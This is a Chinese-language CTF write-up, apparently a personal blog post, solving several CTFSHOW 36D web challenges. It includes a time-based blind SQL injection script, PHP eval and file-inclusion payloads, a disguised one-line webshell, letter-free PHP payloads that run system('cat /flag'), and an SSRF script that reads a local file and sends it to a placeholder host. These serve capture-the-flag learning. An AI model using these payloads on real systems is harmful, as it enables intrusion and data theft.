CTF Web安全

CTFSHOW 36D Web

Posted on 2020-05-01,7 min read

Y1ng的题好评~~

WEB_Login_Only_For_36D

是个注入题。F12给出了sql语句

<!-- if (!preg_match('/admin/', $uname)) die; -->
<!-- select * from 36d_user where username='$uname' and password='$passwd'; -->

fuzz一下。过滤了' " || 空格 select等
一般。过滤了单双引号。就考虑用斜杠转义第一个单引号。然后进行注入
sql如下

select * from 36d_user where username='admin\' and password='or 1#'

过滤了select。貌似就不能通过information库去查出表名啥的。
就regexp注入。。但是。试了下

select * from 36d_user where username='admin\' and password='or/**/1#'
#返回还是password错误????。那么不能构造布尔盲注
select * from 36d_user where username='admin\' and password='or/**/if(1,sleep(5),0)#'
#成功延时了5秒。我们可以通过regexp。返回值。然后时间盲注值
select * from 36d_user where username='admin\' and password='or/**/if(1,sleep(llength(password)),0)#'
#延时了15秒。所以password字段长度为15
select * from 36d_user where username='admin\' and password='or/**/if((left(password,1)/**/regexp/**/binary/**/0x49),sleep(10),1)#"
#password第一位为0x49。regexp的16进制是不区分大小写的。记得带上binary
依次跑出密码
import requests
import time
url='https://9ae21dbb-74b0-499e-b345-ca611e176e10.chall.ctf.show/'
l='iILOVE1abcdefghjkmnlopqrstuvwxyzABCDFGHIJKMNPQRSTUWXYZ234567890'
data2='0x'
for b in range(1,1000):
    for a in l:
        data={"username":"admin\\",
              "password":"or/**/if((left(password,"+str(b)+")/**/regexp/**/binary/**/"+data2+str(hex(ord(a))).replace('0x','')+"),sleep(10),1)#"
              }
        #print(data)
        t1=time.time()
        requests.post(url=url,data=data)
        t2=time.time()
        if t2-t1>10:
            print(a)
            data2+=str(hex(ord(a))).replace('0x','')
            break

print(data)

WEB_给你shell

F12
?view_source得到源码

<?php
function checkCookie($s) {
    $arr = explode(':', $s);
    if ($arr[0] === '{"secret"' && preg_match('/^[\"0-9A-Z]*}$/', $arr[1]) && count($arr) === 2 ) {
        return true;
    } else {
        if ( !theFirstTimeSetCookie() ) setcookie('secret', '', time()-1);
        return false;
    }
}

function haveFun($_f_g) {
    $_g_r = 32;
    $_m_u = md5($_f_g);
    $_h_p = strtoupper($_m_u);
    for ($i = 0; $i < $_g_r; $i++) {
        $_i = substr($_h_p, $i, 1);
        $_i = ord($_i);
        print_r($_i & 0xC0);
    }
    die;
}

isset($_COOKIE['secret']) ? $json = $_COOKIE['secret'] : setcookie('secret', '{"secret":"' . strtoupper(md5('y1ng')) . '"}', time()+7200 );
checkCookie($json) ? $obj = @json_decode($json, true) : die('no');

if ($obj && isset($_GET['give_me_shell'])) {
    ($obj['secret'] != $flag_md5 ) ? haveFun($flag) : echo "here is your webshell: $shell_path";
}

die;

首先从cookie中取出secret(JSON格式)。带入checkCookie
checkCookie函数。貌似就是检查JSON格式的。。没啥关系
继续get一个give_me_shell
我们提交的secret中的secret键对应的值!=$flag_md5(!=弱类型比较)就调用havaFunc函数。否则就输出shell地址。也就是说。我们输入的secret要等于$flag_md5
分析下调试。就可以知道。字符统一是返回64。数字返回0

flag的md5经过函数处理后是000开头。刚好存在弱类型

得到下一关地址

看下源码。输入code。然后带入eval执行

eval("\$_SESSION[" . $code . "]=false;");

fuzz下。过滤了$;^f/*&)
$()反引号执行不了函数。没;不能执行多个PHP代码。只能通过?><?=xxx?>来利用
文件包含require函数没禁用。并且~也没禁。但是禁用了空格。我们fuzz下。什么字符能在require和文件中间

构造payload
]=1?><?=require@~%D0%99%93%9E%98?>

得到Flag

WEB_RemoteImageDownloader

一看就像是个SSRF
VPS监听下。得到。

Google一下找到PhantomJS的SSRF任意文件读取
https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/
服务器上部署1.html

<html>
<script src="http://xxx.com/test.js"></script>
</html>

test.js

function reqListener () {
    var encoded = encodeURI(this.responseText);
    var b64 = btoa(this.responseText);
    var raw = this.responseText;
    document.write('<iframe src="http://xxx.com/exfil?data='+b64+'"></iframe>');
} 
var oReq = new XMLHttpRequest(); 
oReq.addEventListener("load", reqListener); 
oReq.open("GET", "file:///flag"); 
oReq.send();


base64解码得到Flag

WEB_ALL_INFO_U_WANT

index.php.bak得到源码

if (isset($_GET['file'])) {
    $file = "/var/www/html/" . $_GET['file'];
    //really baby include
    include($file);
}

直接包含/var/log/nginx/access.log
还有一种解法包含本身。
xxx.com/xxx.php?all_info_i_want=&file=xxxx.php
同时对这个URL进行文件上传。然后就会死循环。导致临时文件保留。
包含getshell
FLAG貌似在/etc/opt/下。。。我也忘了

WEB_WUSTCTF_朴实无华_Revenge

第一层队内ha1c9on大佬直接用0-01-0绕过了。。他的回答是。随手一猜就出来了
tqltql😂
预期解是1000000000000000.00000000000000010
通过php的精度问题。比较相等
第二层。MD5一直跑。得到0e1138100474

import hashlib

for i in range(0,10**33):
    i = str(i)
    num = '0e' + i
    md5 = hashlib.md5(num.encode()).hexdigest()
    md52 = hashlib.md5(md5.encode()).hexdigest()
    if md52[0:2] == '0e' and md52[2:].isdigit():
        print('success str:{}  md5(str):{}'.format(num, md5))
        break

第三层。
第一次:ca\t</flag或者%09
第二次:nl</flag或者od/xxd

WEB_你取吧

别说了。出题人跪求原谅。这个题。过滤太少了。之过滤了a-z。。一时没想到P神有个$_的无数字webshell。直接打穿
预期解

通过访问$_数组中的键值。用.拼接。最后${}构成$hint


得到phpjiami.zip和hint.php
phpjiami.zip是hint.php的加密源码。
网上有免费解密的脚本。最后得到一句话

<?php
$ch = explode(".","hello.ass.world.er.rt.e.saucerman");
$c = $ch[1].$ch[5].$ch[4]; 
@$c($_POST[7-1]);
?>

POST
6=system('cat /flag');
即可

一个题收获了好多姿势。大佬们tql
($_ = '@@@@'|'().4') == 1?1:$$_
通过位移运算符。任何左侧的字符|'@'==右侧的字符

通过三元运算符。括号内返回hint字符串。然后!=1。就会执行$$_==$hint

还能通过括号和${}配合。动态调用

($_1=$_{2}.$_{7}.$_{17}).($__=$_1(99).$_1(97).$_1(116).$_1(32).$_1(47).$_1(102).$_1(108).$_1(97).$_1(103)).($_2=$_1(115).$_1(121).$_1(115).$_1(116).$_1(101).$_1(109)).($_2($__))

通过{}取数组中的值。得到$_1=chr
$__=chr(99).chr(97).....得到system
$_2=chr(xxxx)得到cat /flag
最后动态执行$_2($__)==system('cat /flag')
这里有个知识点。用()来代替分号
($=phpinfo).($a())不需要分号。即可执行phpinfo()

下一篇: [CSAWQual 2016]i_got_id(perl文件上传)→